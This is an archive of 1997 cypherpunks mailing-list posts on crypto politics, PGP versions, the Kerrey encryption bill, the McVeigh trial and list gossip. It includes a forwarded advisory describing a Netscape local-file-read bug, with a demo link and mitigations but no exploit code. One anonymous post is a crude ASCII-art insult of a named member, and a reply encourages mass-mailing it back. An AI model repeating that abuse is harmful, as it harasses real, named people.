-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970617002359.19769C-100000@Networking.Stanford.EDU>, on
06/17/97 
   at 12:39 AM, Rich Graves <rcgraves@disposable.com> said:


>-----BEGIN PGP SIGNED MESSAGE-----

>On Tue, 17 Jun 1997, William H. Geiger III wrote:

>> In <Pine.GUL.3.95.970616215033.19356A-100000@Networking.Stanford.EDU>, on
>> 06/16/97 at 10:04 PM, Rich Graves <rcgraves@disposable.com> said:
>> 
>> >Yes, for some people, this is a police state. But the threat is not
>> >(just)  the FBI/CIA/ATF/NSA; it's us. It's the people developing photos
>> >at the supermarket who aren't comfortable with Hispanics and "ebonites"
>> >having guns, and believe the police or TLAs should put a stop to it.
>> >Technical capabilities don't oppress people; people do.
>> 
>> If it wasn't for the fact that we *are* living in a police state the
>> opions of a supermarket clerk would not be relevant.
>> 
>> If we were living in a Constutional democracy where the TLAs had to abide
>> by the laws of the land then the gestapo would have never even though of
>> raiding the Hispanic gun owners.

>What Gestapo? Lucky Green didn't tell the whole story, but it was my
>impression he was talking about the local police or sheriff. They had
>local police and sheriffs lo those glorious days of freedom of the
>antebellum South, too. How else you expect people to protect their
>property? A man can't stay awake watching for looters 24 hours a day, or
>if he does, he's liable to start hallucinating and wasting ammunition.
>Gun control means being able to keep your eyes open and shoot straight.

Does it really matter if they are local thugs or federal??

Are they exempt from the Constitution because the county signs their
paycheck rather than an agency in DC??

I highly doubt that the Hispanics envolved really cared which government
the brown shirts were working for when their doors were kicked in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Tue, 17 Jun 1997 15:38:50 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <3.0.16.19970617032250.0d074edc@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 AM 6/13/97 -6, Peter Trei wrote:
...

>Think about this:
>
>Would you rather people did not burn the flag because:
>
>1. They'll be thrown in the slammer if they do.
>2. The[y] revere the values for which it stands, and will not descrate a
>   meaningful symbol of these values.
>
>In (2), we can look at the (very rare) individuals who *do* burn the
>flag, and determine for ourselves if they have a valid point to 
>convey.  
>
>In (1), we'll never know.
>
>For Congress to deny the freedom to burn the flag is a desecration of what
>the flag stands for - a descration of the flag by the government itself.

(I'm on Ray's FCPUNKS, please cc me directly, my replies may be delayed
and this may have already been covered anyway. Probably was.)

1. Burning is a proper way to dispose of old flags, according to my
old boyscout handbook, so I guess this is thoughtcrime.

2. Why not outlaw desecrating the Bill of Rights? (Oh, yeah. Congress
does that daily right now...)

3. Since when was "the flag" sacred, anyway? Doesn't something have
to be sacred for it to be desecrated? Isn't this a secular country?

4. Doesn't this seem like a way _not_ to discuss the sea of red ink
that this country is currently drowning in, and just stir up folks'
emotions instead? Sure does to me...I wish veterans and others who
get hot under the collar about this would get 1/8 as pissed about
the national debt.

5. Burn my flag (or copy of the Bill of Rights) and you'll probably
wind up shot. Burn your own flag/copy and watch me yawn. This law
is a *particularly* stupid one.
JMR

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Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 17 Jun 1997 20:07:32 +0800
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Accounts payable
Message-ID: <199706171153.EAA00765@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. May styles his facial hair to look more like pubic hair.

       .oooO           Oooo.
       (   )   _   _   (   )
        \ (   / ) ( \   ) /
     ----\_)-/ (---) \-(_/---- Timmy C. May
            (   ) (   )
            oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 17 Jun 1997 08:55:15 +0800
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970617061005.111H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

[...]

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".

I don't think it would be a trial,  more likly to be a House committee
doing this.  Infact we need to give this thing a name,  well Crimes
against the constitution is realy an un-american activity.  I know we
could call it the "House committee on UnAmerican Activities".

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 17 Jun 1997 19:52:29 +0800
To: cypherpunks@toad.com
Subject: RE: Digiweb.com's Movie Boys
In-Reply-To: <c=US%a=_%p=EDS%l=USPLE0019706170327NYWZSCWX@USPLE001>
Message-ID: <6kwF9D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Brad Shantz <BradS@TRIsource.com> writes:

> I already sent them the statutes against junk faxes (currently the only
> real spam-killer we have available), and reported them to a number of
> different agencies including the CAUCE.   Check out www.cauce.org for
> more information.

This thread had nothing to do with crypto and has taken more time and
effort to delete than the original troll.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Silvakow" <ea2onov@atlas.moa.net>
Date: Tue, 17 Jun 1997 21:10:12 +0800
To: cypherpunks@Algebra.COM
Subject: PGP for Windows 95
Message-ID: <B0001773986@atlas.moa.net>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
right now.  Information from pgp.com, but I want to know more before 
I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
does anyone know if those PGP public keys are compatible with DOS 
PGP?
|[(*+- Silvakow -+*)]|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 01:27:00 +0800
To: Arunas Norvaisa <arunas@post1.com>
Subject: Re: PGP for Windows 95
In-Reply-To: <3.0.32.19970617171734.00688900@post1.com>
Message-ID: <Pine.GSO.3.96.970617095702.13050B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, after failing to connect with a clue-server Arunas
Norvaisa wrote:

> On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
> >
> >Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
> >right now.  Information from pgp.com, but I want to know more before 
> >I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
> >does anyone know if those PGP public keys are compatible with DOS 
> >PGP?
> 
>  What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
> freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
> is working just fine in MS-Dos shell under windoze'95... If you
> mean specific shell (what I doubt), it's not PGP itself and you'll
> still will get those dos windows anyway...

I have not seen the PGP inc. version in stores.  Possible... ($50.00 is
about the standard price for similar products at Egghead and other mass
market chains.)

As for PGP 5.0 for Win95...  It is a full version of PGP.  It is
compatible if you set the options correctly.  It also contains a number of
new signature and key formats that are not backwards compatible.  It is a
real Win95 program and not a realmode DOS hack.  (It would be nice if it
would work on my machine, but that is another story...)

As for the DOS versions "working just fine"...  That depends if you need
to use long filenames or not.  If you don't then there is no real problem.
If you do, you or the shell has to hack around it.

It might help if you go to PGP's web site and take a look about what he is
talking about bbefore commenting.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 17 Jun 1997 22:57:18 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v0302090bafcc4b872f67@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:30 am -0400 on 6/17/97, Bill Stewart wrote:

> Foo ...  On a list with several millionares, people who make the
> New York Times Magazine cover, people who get in the Times for
> successfully suing the NSA, college students who get covered on
> National Public Radio, people who were in Wired before it was c001,
> people who drop in on Esther in New York because they'll be too
> busy to see her at Hackers', people who were Xanadudes or SGML hackers
> decades before the Web caught on, people who were on the Well
> before that Grateful Dead lyricist got there, various wizards of
> speed and time, folks who have Japanese tv crews show up for their parties
> and already know Tim Leary when he drops... by, I'd say we have enough
> people who are or know Silicon Valley insiders to really complain much
> when people from the Other Coast talk about who _they_ had lunch with :-)

Wow. How utterly cool. I guess it's time to move. Your country sounds waay
better than my country...

;-)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 01:47:30 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: The McVeigh Video Game
In-Reply-To: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
Message-ID: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Michael Stutz wrote:

> I went out with a nabor last Friday night to get a beer at a local townie
> bar. 

Jim Nabor?

> They had a small dance floor with the typical bad music. When the
> deejay put on the Village People's "YMCA" he turned down the volume during
> the "Y - M - C - A" chorus and led the redneck crowd through his own
> version: "Fry Tim McVeigh," which they sang.

I am expecting Tim McVeigh to show up in a video game any day now.  Check
out some of the games at the local arcade.  See who the villians in the
"shoot-em-up" games are...  Used to be "drug dealers".  Now it is
"terrorists".  And you get to be the one to "blow the badguys away".  (In
my more paranoid moments I equate it to a plot to get people to side with
the government on the next televised shoot-the-bad-guys
spectacle/stand-off.)  In one, you get to go after them in a hellicopter!
(Painted black, no doubt...)

And you don't see any mothers protesting what this will do to their
kids...

Will the next video game target be evil cryptographers?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 02:12:44 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v0310280fafcc7457ea6c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:30 PM -0700 6/16/97, Bill Stewart wrote:

>Foo ...  On a list with several millionares, people who make the
>New York Times Magazine cover, people who get in the Times for
>successfully suing the NSA, college students who get covered on
>National Public Radio, people who were in Wired before it was c001,
>people who drop in on Esther in New York because they'll be too
>busy to see her at Hackers', people who were Xanadudes or SGML hackers
>decades before the Web caught on, people who were on the Well
>before that Grateful Dead lyricist got there, various wizards of
>speed and time, folks who have Japanese tv crews show up for their parties
>and already know Tim Leary when he drops... by, I'd say we have enough
>people who are or know Silicon Valley insiders to really complain much
>when people from the Other Coast talk about who _they_ had lunch with :-)

I asked Marc what he thought of this, and he suggested we wander over and
ask Ted. Ted said it had to do with everything being deeply intertwingled.
The other Ted, the microprocessor guy, just wanted to get back to
woodworking.

Later on I ran into Whit and he said he hadn't given it much thought, but
that maybe Larry had.

I resolved to ask Gordon how he dealt with this situation, but I may not
run into him for awhile.

Next Saturday I'll ask Woz, assuming he show's up at Alan's party as he
usually does.

What was your point again?

(On a serious note, I take Bill's point. But I am not criticizing Declan's
growing list of contacts, I am really commenting on the "gossipy" aspect of
all D.C. politics. "There's no there, there," to paraphrase the Other
Dorothy (and not the Oz one). In D.C., the whole political process is a
series of social contacts. This is markedly different from life here in the
Greater Bay Area (100 miles north-south, 20 miles east-west), where the
technology and products dominate over gossip. Or so I think. Reporters in
the Bay Area are much less dependent on spin doctors for their stories.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 02:26:14 +0800
To: cypherpunks@toad.com
Subject: Netscape Bug Reproduced
Message-ID: <199706171730.KAA09893@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Netscape privacy problem reproduced at EIFIST
Date:    6/16/97 5:34 PM
     
Netscape privacy problem:
     
Using information gleaned from the web site of the Danish company that 
first reported the problem, Keith Woodard and Dave Humphrey at EIFIST 
have built a web page which reproduces the privacy problem in Netscape 
Navigator and Communicator web browsers.  From that effort they have 
developed a better understanding of how the Netscape bug works, and what 
defensive measures users can take until a bugfix is available from 
Netscape.
     
First, the problem is indeed read-only, and involves only files to which 
the explicit path name is known.  Second, all file systems accessible 
from the Netscape user's system are reachable -- that means mapped 
network drives as well as the local hard disk.  Third, JavaScript can be 
used by a web site to automate reading a user's file so that it is 
invisible to the user.  However, the bug does not involve use of Java at 
all.
     
The demo website can be visited at the following URL:
     
     http://eifist.frb.org/hacker/fileupload.html
     
Please urge all Internet web users to take the following interim steps until a
permanent fix is available from Netscape:
     
*  In Navigator 3.x and 2.x, go to the Options menu and select Security 
   Preferences. Select the "Submitting a Form Insecurely" preference to  
   enable that warning dialog box.  This will generate a warning box 
   whenever a site tries to upload a form, giving the user a chance to 
   decide whether to allow it.
     
*  Also, in Navigator 3.x and 2.x, go to the Options menu and select
   Network Preferences.  Turn OFF the "Enable JavaScript" preference. 
   This will block execution of JavaScript code which might try to 
   perform an invisible file upload, while permitting display of the     
   rest of the page.
     
These measures are temporary until a full bug fix is made 
available by Netscape and proven against the EIFIST demo page.  
     
Regards





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 18 Jun 1997 02:26:48 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] Accounts payable
In-Reply-To: <199706171153.EAA00765@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970617113811.115668E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timmy C. May styles his facial hair to look more like pubic hair.
> 
>        .oooO           Oooo.
>        (   )   _   _   (   )
>         \ (   / ) ( \   ) /
>      ----\_)-/ (---) \-(_/---- Timmy C. May
>             (   ) (   )
>             oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 02:55:37 +0800
To: cypherpunks@Algebra.COM
Subject: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v03102800afcc849b8fca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Another way of viewing the Washington reporter problem is to view him as a
Hollywood reporter, sort of an Army Archerd character "doing lunch" at
Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.

But a more accurate comparison is to crime beat reporters, those scribblers
who hang out at the Mafia watering holes and social clubs (when they're
allowed in, to spin a story in a favorable way), reporting on the turf
battles between the rival factions, and leaking out rumors of who's
planning to make a move on Vinnie Bones.

Washington is more than just a "pork barrel"...it's the world's largest and
most lavishly funded criminal enterprise, with "dons" dispensing pork to
supplicants, with new agencies intervening in private and corporate
transactions to throw roadblocks up, the better to extract tribute.

One can imagine Declan's story:

So I was like nervous as I met Donny the Arm, consigliero for the Kennedy
Family, at a dark little Irish pub in Georgetown. I could see he'd brought
some SS muscle with him, waiting out in his beamer. Nervous because I knew
what the Don's men had done to that reporter covering the Mary Jo Kopechne
accident.

So I got right to the point.

"I hear Billy the Chin is prepared to give some "consideration" to Jimmy
out in the Valley if he gets some consideration in return, something like a
5 big ones contribution to the Midnight Video Arcade program?," I asked.

"Ya heard right. Nobody said like we're no reasonable, or sumpin.' Say,
what's a good mick like you doin' talking to that wop D'Amato?," the aide
to Don Eddie said. I pressed him to return to the point about allowing
Netscape to export full-strength crypto if they make a contribution to the
President's favorite inner city program.

"Well," Donny the Arm said, "It's like this: before we tell the guys over
in Export to let his stuff out, we would, like, want some consideration." I
was puzzled, so I asked him what kind of consideration he was tallking
about.

"You wearin' a wire or sumpin'? Yo, you fall out of a tree, or sumpin'?"

My next visit that night was to a posh hunting lodge out in horse country,
home of most of the dons in the Reps Gang. Their leader, Newt the Shooter
laid it out in his own straight-shooting style.

"We're prepared to deal. If Billie the Chin signs off on the tax cuts to
our industries, and if the tobacco subsidy is restored, we're prepared to
support the Family's plan to repeal the First Amendment. It  hardly fits
with family values, anyway."

I had two more parties to get to that night, so I bid the boys a good night
and got back in my beat up car and headed off to Dupont Circle. I heard
that Sally the Schemer, doyenne of the Washington social circle, had some
juicy news on how Dotty the Crypto Chick was being placed in the Witness
Security Program.


One more day in the life of Declan McCullagh, Washington Crime Family Reporter

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 18 Jun 1997 01:34:37 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: Re: McVeigh Sentence
In-Reply-To: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
Message-ID: <199706171650.LAA04261@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>, on 06/17/97 
   at 12:07 PM, Michael Stutz <stutz@dsl.org> said:

>On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>>   I was watching Dateline NBC interview the McVeigh jurors about the
>> trial and the interviewer asked them what they found to be the strongest
>> or most convincing evidence against McVeigh.
>>   A grandmotherly type answered that the most convincing of the evidence
>> against him was the pictures of the dead bodies.

>I went out with a nabor last Friday night to get a beer at a local townie
>bar. They had a small dance floor with the typical bad music. When the
>deejay put on the Village People's "YMCA" he turned down the volume
>during the "Y - M - C - A" chorus and led the redneck crowd through his
>own version: "Fry Tim McVeigh," which they sang.

That's why I don't frequent such places any more.

"There needs to be lifeguards at the shallow end of the gene pool"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6bA3I9Co1n+aLhhAQETwAP+LCscZaTP3qc/5PnOFuANYY+eneQthjRH
0mKltRMv8EW+hwK9UR2CDarUCf2mwrdDQQWm6PU5Kh2FCNy47nJV7n8PltOxLLAQ
uWAUh8Kxl0p7Tpofg8tXW+MR4AsVF//iPBzuAgCI0vRUUnwD0hDJ2lryGNgXFEJv
6CsV4+2ZNvw=
=zuu4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 18 Jun 1997 00:21:03 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh Sentence
In-Reply-To: <199706170849.BAA28709@fat.doobie.com>
Message-ID: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>   I was watching Dateline NBC interview the McVeigh jurors about the
> trial and the interviewer asked them what they found to be the strongest
> or most convincing evidence against McVeigh.
>   A grandmotherly type answered that the most convincing of the evidence
> against him was the pictures of the dead bodies.

I went out with a nabor last Friday night to get a beer at a local townie
bar. They had a small dance floor with the typical bad music. When the
deejay put on the Village People's "YMCA" he turned down the volume during
the "Y - M - C - A" chorus and led the redneck crowd through his own
version: "Fry Tim McVeigh," which they sang.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Karl Deardorff <karl_deardorff@icpmech.navy.mil>
Date: Wed, 18 Jun 1997 00:54:43 +0800
To: cypherpunks@toad.com
Subject: signup
Message-ID: <33A67785.1989@icpmech.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



signup





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 18 Jun 1997 01:48:49 +0800
To: Alan <alano@teleport.com>
Subject: Re: The McVeigh Video Game
In-Reply-To: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.94.970617131913.760F-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Alan wrote:

> I am expecting Tim McVeigh to show up in a video game any day now.  Check
> out some of the games at the local arcade.  See who the villians in the
> "shoot-em-up" games are...  Used to be "drug dealers".  Now it is
> "terrorists".  And you get to be the one to "blow the badguys away".

Read a similar theme last night in James Kunstler's New Urbanist manifesto,
_The Geography of Nowhere_. He talks of the currently-ruling corporate
society's romanticism of the past in a discussion of the psychological
techniques used on parents and children in the Disney theme parks. Actors
guised as pirates, cowboys or brigands all stage "shoot-em-ups" to the
entertainment of middle-class families; he wonders if, in 100 years hence,
the status quo families of the age will watch reinactments of black gangsta
youth and their drive-by shootings.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 18 Jun 1997 05:24:54 +0800
To: enoch@zipcon.net
Subject: New PGP Key
Message-ID: <199706172113.OAA17930@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Just a brief note to say that I have generated a new 1024 bit PGP key for
my new ISP, zipcon.net.  I have signed this key with itself, and with my
Netcom key. 

Unlike my Netcom key, whose passphrase is only typed when I am alone with
my PC, the Zipcon key will be used on a multi-user Linux system for
signing posts and other such things, and will not be secure against having
its passphrase sniffed. 

Feel free to use the Zipcon key for casual commuication, but "Eyes Only"
stuff should ONLY be encrypted with the Netcom key.

- --
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
  





-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM6b9g8A6o0SuPU79AQGF9gP+MhGUUv6dL6T6gETgujfI61s52AFzrO8a
/akS0492PdLoGLMvKbco+icnkQ6BQyJQw2lrV3G3mghQxXOBpJojW8z5mxD/eTUm
QpaTO+AxiEnEQQcWb5X9PGGlJ/LLiJIo3Tc99DJhTIYgSTIkgNtYD7IgvAhziMwr
jMHQjq9R/j8=
=3UMb
-----END PGP SIGNATURE-----


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzOm9YkAAAEEANXQ12uCbPMlbON1kwbHfaLZ79MaSQCmB1AJ399gmt6LhYR5
aWtbeuRzDw1m5lF0hDveWDga1WG9PY7WQ0nq/W+Ww9SrrTPCI055rUW5RcAeKUNS
Y6udUoCojMRT5bHMi/7CUm3OYtCw2T9DAE9NerOJ8IVpusqeVMA6o0SuPU79AAUR
tB1NaWtlIER1dm9zIDxlbm9jaEB6aXBjb24ubmV0PokAlQMFEDOmlcY1TNKt+Wg9
AQEBKygD/ih1A1mjYcq8mrMmcBgDIAzu3RCbBv/uYGRXXherjKhrpdvHNTzd/LFF
Z/Akg3owYhMJbHa9cbu4pCe1U+YgmGWqrsoXsuF87KrwUoO/HYI6ggosRhMazhdT
0H/zudqIMlyxXwLZqMiGI5XEkyHmkX4Jodh+SC7u7i1SjWTvYhCziQCVAwUQM6b1
8sA6o0SuPU79AQF+XAQAxKBswtbUe1/dforndHQ0+Fh6oRjdrfod3X/UQp3WIO+t
cdSd0Vk2zVklECSV/vDjwEI46W9ZK/LVWhLuxVsGNJOnEYUFHfm89QIA7h8BkiIf
iwRYdbrA32mHiogyy552Rq2YMOtQxa5T0/LrNSgOesXNV1UYBNC7bLkj3iA7gag=
=f3h5
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 18 Jun 1997 05:41:31 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <Pine.LNX.3.91.970616184448.515B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.3.89.9706171453.A20820-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



The DESCHALL source is available under NDA. The timings of the various 
DESCHALL clients are on their homepage at 
http://www.frii.com/~rcv/deschall.htm


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 16 Jun 1997, Paul Bradley wrote:

> 
> > They have not released their source code for independent 
> > evaluation. I for one would feel a lot more comfortable with
> > DESChall if there was at least some outside review, even if
> > no general release is made.
> 
> I do not keep up with the various DES challenge efforts: Did DESChall 
> ever give a reason for not releasing source code?
> Has anyone tried reverse engineering the executable? 
> 
> Does anyone have statistics on how quick deschall is as opposed to, for 
> example, Bryddes? If they haven`t released source code and it is 
> significantly faster it may be they have further key schedule 
> optimisations they do not wish to share.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 18 Jun 1997 05:50:54 +0800
To: cypherpunks@cyberpass.net
Subject: Kerrey bill introduced in Senate
Message-ID: <3.0.2.32.19970617144146.009656c0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain. 

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
